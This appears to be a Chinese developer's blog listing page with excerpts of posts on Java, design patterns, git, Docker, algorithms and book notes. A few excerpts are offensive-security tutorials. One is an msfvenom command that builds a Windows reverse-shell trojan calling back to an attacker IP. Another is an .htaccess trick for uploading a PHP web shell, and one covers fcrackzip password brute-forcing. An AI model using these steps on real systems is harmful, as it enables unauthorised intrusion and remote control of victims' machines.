- 博客(38)
- 资源 (10)
- 收藏
- 关注
原创 jvm详解
jvm介绍什么是jvmJVM(Java Virtual Machine,Java虚拟机),Java程序的跨平台特性主要是指字节码⽂件可以在任何具有Java虚拟机的计算机或者电⼦设备上运⾏,Java虚拟机中的Java解释器负责将字节码⽂件解释成为特定的机器码进⾏运⾏。因此在运⾏时,Java源程序需要通过编译器编译成为.class⽂件。jvm结构内存结构程序计数器程序计数器(Program Counter Register)也叫寄存器,他的作⽤是记住下⼀条jvm指令的执⾏地址。特点:是线程
2021-04-14 09:48:17
819
1
原创 常用的几种设计模式详解
设计模式的概述设计模式分类创建型模式特点是将对象的创建与使用分离(解耦),有 单例、原型、工厂方法、抽象工厂、建造者等5种。结构型模式用于描述如何将类或对象按某种布局组成更大的结构,代理、适配器、桥接、装饰、享元、组合等7种。行为型模式用于描述类或对象之间相互协作共同完成 单个对象无法完成的任务,模板方法、策略命令、职责链、状态观察者、中介者、迭代器、访问者、备忘录、解释器等11种。UML包含了用例图、类图、对象图、状态图、活动图、时序图、协作图、构建图、部署图等9种。类
2021-04-09 15:22:01
10147
原创 java8新特性详解
Lambda表达式Lambda表达式介绍Lambda是一个匿名函数,可以理解为一段可以传递的代码。简化匿名内部类的使用,语法更加简单。Lambda的标准格式Lambda省去面向对象的条条框框,Lambda的标准格式格式由3个部分组成:(参数类型 参数名称) -> { 代码体; }格式说明:(参数类型 参数名称):参数列表{代码体;}:方法体-> :箭头,分隔参数列表和方法体Lambda省略格式在Lambda标准格式的基础上,使用省略写法的规则为:
2021-04-07 10:21:29
769
原创 《影响力》读书笔记
影响力的武器动物可能会因为看到某种颜色的羽毛而变得具有攻击性或听到某种叫声就对自己的天敌呵护有加,动物这种愚蠢可笑的机械反应在人类身上也有,当某一个触发特种出现时,我们会不假思索地做出相应的反应,之所以会这样就是因为我们被难以察觉的影响力摆布了。互惠我们应该尽量以相同的方式报答他人为我们做的一切。互惠原理——发挥着什么样的作用。这条原理说,要是人家给了我们什么好处,我们应当尽量回报如果我要遵守互惠原理的规范,我必须也有所让步。正如我们所见,我的确让了步:他从大请求退让到小请求,我则从不顺从变
2021-03-13 16:57:15
941
原创 Dos命令查看端口
查看端口占用在windows命令行窗口下执行:netstat -ano|findstr 1080TCP 127.0.0.1:1079 127.0.0.1:1080 ESTABLISHED 1332端口“1080”被PID(进程号)为1332的进程占用。查看端口“1080”被哪个应用占用,,继续执行下面命令:tasklist|findstr "1332"java.exe 1332 Services
2021-02-26 14:22:12
2357
原创 java抽象类和接口有什么意义
用了java这么久,对接口和抽象类使用一直很模糊。为什么接口和抽象类不能实例化,为什么接口可以多个实现而抽象类只能单继承,特别是java8之后,抽象类和接口里面都可以写代码后,就更加分不清了,今天重新整理一下。什么是抽象类(abstract class)使用abstract修饰符修饰的类。官方点的定义就是:如果一个类没有包含足够多的信息来描述一个具体的对象,这样的类就是抽象类。实际点来说,一个抽象类不能实例化,因为“没有包含足够多的信息来描述一个具体的对象”。但终归属于类,所以仍然拥有普通类一样的定义
2021-02-04 17:33:27
4398
3
原创 数学之美学习笔记
数学之美学习笔记第1章 文字和语言vs数字和信息第2章 自然语言处理--从规则到统计第3章 统计语言模型第4章 谈谈分词第5章 隐含马尔科夫模型第6章 信息的度量和作用第7章 贾里尼克和现代语言处理第8章 布尔代数和搜索引擎布尔代数:索引:第9章 图论和网络爬虫第10章 pageRank--Google的民主表决式网页排名技术PageRank算法原理第11章 如何确定网页和查询的相关性第12章 有限状态机和动态规划--地图与本地搜索的核心技术智能手机导航最关键的三个问题:地址分析和有限状态机全球导航和动态规
2021-02-03 13:29:39
2277
1
原创 git常用命令记录
git常用命令记录提交代码查看历史提交记录git根据commit查看信息远程拉取代码到本地branch操作查看远程仓库地址命令git remote -v提交代码提交代码到本地git add .查看提交记录$ git status -sA READMEA hello.php代码提交$ git commit -m '第一次版本提交'查看历史提交记录$ gi...
2020-01-07 10:33:12
1092
原创 fcrackzip猜解zip密码
用fcrackzip可以很方便的破解zip,它提供暴力破解和字典破解等功能fcrackzip安装linux没有安装fcrackzip可以命令安装mac安装brew install fcrackziplinux安装sudo apt-get install fcrackzip查看help参数解释-b 表示使用暴力破解的方式-c 'aA1' 表示使用大小写字母和数字混合破解的方式...
2019-11-16 15:44:06
4144
原创 MSF生成windows木马
msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线生成exe木马msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4444 -f exe -o 123.exe192.168.0.110是攻...
2019-10-22 09:52:10
19587
原创 算法小程序:上台阶
问题描述有一段楼梯台阶有15级台阶,以小明的脚力一步最多只能跨3级,请问小明登上这段楼梯有多少种不同的走法?解题思路小明跨步最多3级,那么,跨步1,2,3都有可能。用暴力枚举法,可以很容易将所有跨步情况列举出来算法代码下面是用java实现的算法public class 上台阶 { /* * 有一段楼梯台阶有15级台阶,以小明的脚力一步最多只能跨3级, * 请问小明登上这段楼...
2019-10-12 19:45:16
2649
1
原创 算法小程序:逃离大迷宫
问题描述在一个 10^6 x 10^6 的网格中,每个网格块的坐标为 (x, y),其中 0 <= x, y < 10^6。我们从源方格 source 开始出发,意图赶往目标方格 target。每次移动,我们都可以走到网格中在四个方向上相邻的方格,只要该方格不在给出的封锁列表 blocked 上。只有在可以通过一系列的移动到达目标方格时才返回 true。否则,返回 false。...
2019-10-10 19:58:31
1610
原创 算法小程序:倒水问题
问题描述有三个容积分别为3,5,8升的水桶,其中容积为8升的水桶中装了水,容积为3,5的水桶为空。水桶没有刻度尺,现在需要将水桶中的8升水等分成2分,每份都是4升水,该怎么分。总共有多少种分方法思路水桶分别为3L,5L,8L,而且没有刻度尺衡量倒多少水,所有倒水要么被装的水桶倒满,要么倒水的桶倒完。我们可以给每个桶标记一种状态,初始状态就是8L水桶满,其余两个水桶为空,每倒一次,两个桶的状...
2019-10-07 09:37:26
8067
6
原创 Docker 常用命令记录
docker安装docker官网安装:[docker run -t -i ubuntu:15.10 /bin/bash ](docker run -t -i ubuntu:15.10 /bin/bash )docker 结构docker需要理解的几个部分模块介绍docker镜像(images用于创建docker容器的模板容器(container)独立运行的一个...
2019-08-22 20:10:22
1382
原创 OpenCSV创建csv文件
导入依赖包<dependency> <groupId>com.opencsv</groupId> <artifactId>opencsv</artifactId> <version>4.1</version> </dependency> 创建csv文件public static v...
2019-07-31 18:19:56
1941
原创 kali 弱点扫描
漏洞基本概念CVSSCVSS(Common Vulerability Scoring System, 通用漏洞评估方法),是由NIAC 发布、FITST维护的开放式行业标准,CVSS 的发布为信息安全产业从业人员交流网络中所存在的系统漏洞的特点与影响提供了一个开放式的评价方法。不同机构按等级评分满分是十分之威胁评为高、中、低cve已公开的信息安全漏洞字典,统一的漏洞编号标准扫描器...
2019-07-23 10:15:01
3526
转载 Java 8 CompletableFuture 教程
Java 8 有大量的新特性和增强如Lambda 表达式,Streams,CompletableFuture等。在本篇文章中我将详细解释清楚CompletableFuture以及它所有方法的使用。什么是CompletableFuture?在Java中CompletableFuture用于异步编程,异步编程是编写非阻塞的代码,运行的任务在一个单独的线程,与主线程隔离,并且会通知主线程它的进...
2019-06-20 14:24:25
1889
原创 《好好学习·成甲》教你如何学习学习
读了这么多书,却依旧过不好这一生?什么样的“知识”值得我们花精力学习?这本书通过很多角度告诉我们如何学习,它也改变了我的价值观,让我重新认识自己,如何有效的去做一件事,很值得推荐。以下是我阅读时摘录的一些书本观点。知识管理与认知优势掌握临界知识的底层思维与方法教育的根本是改变自己,改变自己对经验的解读方式以教为学,也就是把教别人的过程作为帮助自己学习的过程。刻意练习学习发现和应用自...
2019-06-16 11:53:29
3345
原创 JGit如何查文件相关的每一次diff,“git log -p”命令
需求说明JGit 提供了一个Git 命令的Java API,你可以在项目中使用git,像命令行一样方便操作,查询git项目。JGit项目目前由Eclipse维护,JGit主页https://www.eclipse.org/jgit/我想查询一个git项目,他的某一个文件的历史改动记录,git命令中用git log -p [file]即可很容易实现,jgit中的LogCommand里面有很多...
2019-05-30 22:37:45
3805
原创 java正则表达式
当需要找到匹配一个字符时public class RegexTest { public static void main(String[] args) { String description = "我的电话是:13888888888,有事联系"; String reg = "(\\(\\d{3,4}\\)|\\d{3,4}-|\\s)?\\d{7,14}...
2019-05-22 15:05:41
2331
5
原创 java8新特性Lambda表达式
lambda的语法其实Lambda表达式的本质只是一个"语法糖",我们可以使用更少的代码来实现同样的功能,它允许把函数作为一个方法的参数(函数作为参数传递进方法中)。表达形式(parameters) -> expression(parameters) -> {statments;}() ->{} // 什么都不做() ->{ "hello"; } 等价于 ()...
2019-05-15 13:00:30
2318
原创 springcloud(瞿永超著)学习记录(更新中)
springcloud介绍springcloud中文文档上面介绍:Spring Cloud为开发人员提供了快速构建分布式 系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智能路由,微代理,控制总线)。分布式系统的协调导致了样板模式, 使用Spring Cloud开发人员可以快速地支持实现这些模式的服务和应用程序。他们将在任何分布式环境中运行良好,包括开发人员自己的笔记本电脑,裸机数据...
2019-04-29 11:19:37
2248
原创 css初始化
去掉h1,ul,li,a标签等默认样式,并添加左浮样式“.fl”右浮动“.fr”,清理浮动样式“.clear”body{ font-size: 12px;}body,h1,h2,h3,h4,h5,h6,p,ul,ol,dl,dd{ margin: 0px;}ul{ padding:0px; list-style: none;}ol{ pa...
2019-02-11 13:54:54
1220
原创 $.ajax同步请求,异步请求
jquery中ajax方法有个属性async用于控制同步和异步,默认是true,即ajax请求默认是异步请求,有时项目中会用到AJAX同步。这个同步的意思是当JS代码加载到当前AJAX的时候会把页面里所有的代码停止加载,页面出现假死状态,当这个AJAX执行完毕后才会继续运行其他代码页面假死状态解除。而异步则这个AJAX代码运行中的时候其他代码一样可以运行。异步请求方式:$.ajax({...
2019-01-04 08:57:36
2685
原创 netty客户端服务端
Netty 是一个基于 JAVA NIO 类库的异步通信框架,它的架构特点是:异步非阻塞、基于事件驱动、高性能、高可靠性和高可定制性。netty服务端public class NettyServer { public static void main(String[] args) { // 1.创建服务对象 ServerBootstrap serverBootstrap ...
2018-12-13 18:02:49
1457
原创 NIO客户端与服务端
客户端class NioClient{ public static void main(String args[]) throws IOException{ System.out.println("客户端已经启动。。"); // 1.创建socket通道 SocketChannel schannel = SocketChannel.op...
2018-12-12 09:33:56
1618
原创 .htaccess 文件攻击上传shell
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。1.创建htaccess文件,编辑内容为:SetHandler application/x-httpd-php他的意思是将该目录下的所有文...
2018-12-03 18:01:02
3683
原创 java文件夹 文件批量压缩实现
文件下载时,我想下载多个文件,思路当然是把多个文件压缩到一个文件然后下载。如果用户选中文件夹下载呢,就是将文件夹内的所有文件按照原有文件结构压缩下载,如果用户勾选的既要下载文件,又要下载文件夹,这个时候我就封装了一个方法。/** * 功能:压缩多个文件,文件夹成一个zip文件 * @param srcfile:源文件列表 * @param zipfile:压缩后...
2018-11-12 10:52:35
2881
转载 JAVA中循环删除list中元素的方法总结
原文地址 https://www.cnblogs.com/pcheng/p/5336903.htmlJAVA中循环遍历list有三种方式for循环、增强for循环(也就是常说的foreach循环)、iterator遍历。1、for循环遍历listfor(int i=0;i<list.size();i++){ if(list.get(i).equals("del"))...
2018-11-09 09:42:58
2492
转载 Java对象的复制
原文地址 https://blog.csdn.net/ztchun/article/details/79110096工具类BeanUtils和PropertyUtils进行对象复制Student stu1 = new Student(); stu1.setNumber(12345); Student stu2 = new Student(); BeanUtils.copyPro...
2018-11-09 09:42:33
2357
原创 js正则表达式截取文件名
表达式为([^\\/]+)\.([^\\/]+)$1是文件名,$2是扩展名 ,下面是Javascript的测试代码:<script type="text/javascript"> var a="c:\\windows\\abc.txt"; var reg = /([^\\/]+)\.([^\\/]+)/i; reg.test(a); a...
2018-11-09 09:26:44
7395
转载 Java性能优化的50个细节(珍藏版)
在JAVA程序中,性能问题的大部分原因并不在于JAVA语言,而是程序本身。养成良好的编码习惯非常重要,能够显著地提升程序性能。1. 尽量在合适的场合使用单例使用单例可以减轻加载的负担,缩短加载的时间,提高加载的效率,但并不是所有地方都适用于单例,简单来说,单例主要适用于以下三个方面:第一,控制资源的使用,通过线程同步来控制资源的并发访问;第二,控制实例的产生,以达到节约资源的目的;...
2018-10-22 10:29:09
2039
原创 centos 压缩包方式安装jdk
为下面5个步骤 1.官网下载JDK 2.解压缩,放到指定目录 3.配置环境变量 4.设置系统默认JDK 5. 测试jdk1.官网下载JDK地址:http://download.oracle.com/otn-pub/java/jdk/8u181-b13/96a7b8442fe848ef90c96a2fad6ed6d1/jdk-8u181-linux-x64...
2018-09-26 09:25:27
3706
原创 linux 常用命令手册
1.startx 从文本界面进入图形界面2.ls -lhar 显示目录与文件ls -lrt 按时间进行排序3.whoami 显示当前用户名who -r 显示系统当前运行级别,级别为5 第一次启动时间为2...
2018-09-22 09:44:12
7853
原创 java小程序之文件批量修改文件名
有时候网上下载一些学习视频,文件上面有很长很长的广告名字,广告名遮挡了要浏览的真正内容,看着就烦人,所以我写了一个文件批处理程序,将文件内所有符合条件的字符修改,删除。代码如下:package com.practice.method;import java.io.File;import java.util.ArrayList;import java.util.List;impo...
2018-08-23 12:45:00
3906
原创 基础算法与数据结构总结
写了不少代码,感觉越往上走基础越重要,最近看完《数据结构与算法分析》这本书,一些基本的编程思想和算法都在里面,在这里总结一下。数据结构如图: 基本算法如图:思维导图下载:https://pan.baidu.com/s/1ty--ekYqnJ-BnBlygMIbdA...
2018-08-22 12:32:39
3849
原创 mysql基本操作
mysql基本操作1、登录数据库:mysql -u root -p,然后输入密码2、数据库退出:exit; 查看数据库版本:SELECT VERSION(); 显示当前用户:SELECT USER();3、查看数据库列表:SHOW DATABASES; 删除数据库:DROP DATABASE 4、连接数据库:USE TB_NAME
2017-04-11 13:07:40
2137
原创 制作网页所需的一些简单ps技巧
前端所需要一些ps截图技巧,这里把他记下来以备用放大 ctrl + 缩小 ctrl - 移动工具 空格 标尺 ctrl r 撤销选区 ctrl d 选区 m 移动 v 复制 ctrl c 创建新图
2016-10-13 13:15:30
1948
基于SpringBoo防止接口重复提交代码示例(分布式示例)
2024-07-24
mysql-8.0.25-macos11-x86_64.dmg.zip
2021-07-18
jdk-8u231-windows-x64.zip
2020-01-12
Sublime mac版下载
2019-08-05
人事管理系统(毕设)JSP+Mysql
2019-05-06
chrome浏览器73.0.3683.103(正式版本 64 位)
2019-04-20
comet4j-tomcat6-tomcat7-jar包以及js文件
2018-09-09
sqlmap免Python环境Windows版
2018-08-29
VC++6.0编程软件
2018-08-29
数据结构与算法总结-思维导图
2018-08-29
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人